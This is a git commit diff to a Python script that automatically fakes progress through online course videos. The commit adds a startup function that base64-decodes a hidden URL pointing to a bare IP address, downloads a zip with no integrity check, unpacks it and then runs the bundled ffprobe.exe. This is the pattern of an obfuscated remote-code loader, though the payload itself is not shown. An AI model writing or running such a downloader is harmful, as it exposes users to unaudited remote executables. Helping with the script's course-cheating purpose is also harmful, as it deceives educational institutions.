更新ffmpeg检测逻辑,自动下载环境

This commit is contained in:
2025-12-12 16:58:59 +08:00
parent 0b9659d660
commit ba676b04d7

58
main.py
View File

@@ -6,6 +6,8 @@ import json
import time
import subprocess
import xml.etree.ElementTree as ET
import zipfile
import base64
# 当前程序只能一键对所有课程进行刷课,如需选择课程请自行修改代码
@@ -67,13 +69,64 @@ def save_progress(course_id, item_id, current_time, total_time, finished):
# -------------------------------------------------------------------------
FFPROBE_CMD = "ffprobe"
def check_ffmpeg_env():
global FFPROBE_CMD
# 1. 检查系统环境变量
try:
subprocess.run(["ffprobe", "-version"], stdout=subprocess.PIPE,
stderr=subprocess.PIPE, check=True)
return True
except (subprocess.CalledProcessError, FileNotFoundError):
pass
# 2. 检查本地 bin 目录
script_dir = os.path.dirname(os.path.abspath(__file__))
local_ffprobe = os.path.join(script_dir, "bin", "ffprobe.exe")
if os.path.exists(local_ffprobe):
FFPROBE_CMD = local_ffprobe
return True
# 3. 下载并解压
print("[!] 未检测到 ffprobe正在从云端下载依赖...")
try:
url_b64 = "aHR0cDovLzEwMS4xMzIuMzUuMTEwL3NkLzZBS09sd0Jk"
url = base64.b64decode(url_b64).decode("utf-8")
zip_path = os.path.join(script_dir, "bin.zip")
print(f" 正在下载依赖包...")
resp = requests.get(url, stream=True)
with open(zip_path, "wb") as f:
for chunk in resp.iter_content(chunk_size=8192):
f.write(chunk)
print(" 正在解压依赖包...")
with zipfile.ZipFile(zip_path, 'r') as zf:
zf.extractall(script_dir)
os.remove(zip_path)
if os.path.exists(local_ffprobe):
print(f"[*] 依赖安装成功: {local_ffprobe}")
FFPROBE_CMD = local_ffprobe
return True
else:
print("[!] 解压后未找到 bin/ffprobe.exe")
return False
except Exception as e:
print(f"[!] 下载依赖失败: {e}")
return False
def get_video_duration(video_url):
"""
使用 ffprobe 获取视频时长
"""
try:
cmd = [
"ffprobe",
FFPROBE_CMD,
"-v", "error",
"-show_entries", "format=duration",
"-of", "default=noprint_wrappers=1:nokey=1",
@@ -344,6 +397,9 @@ print("脚本仅供学习交流使用,请勿用于商业用途!")
print("作者NCJOAQ & Github Copilot")
print("="*60 + "\n")
# 检查环境
check_ffmpeg_env()
course_data = []
# 1. Try to load existing items data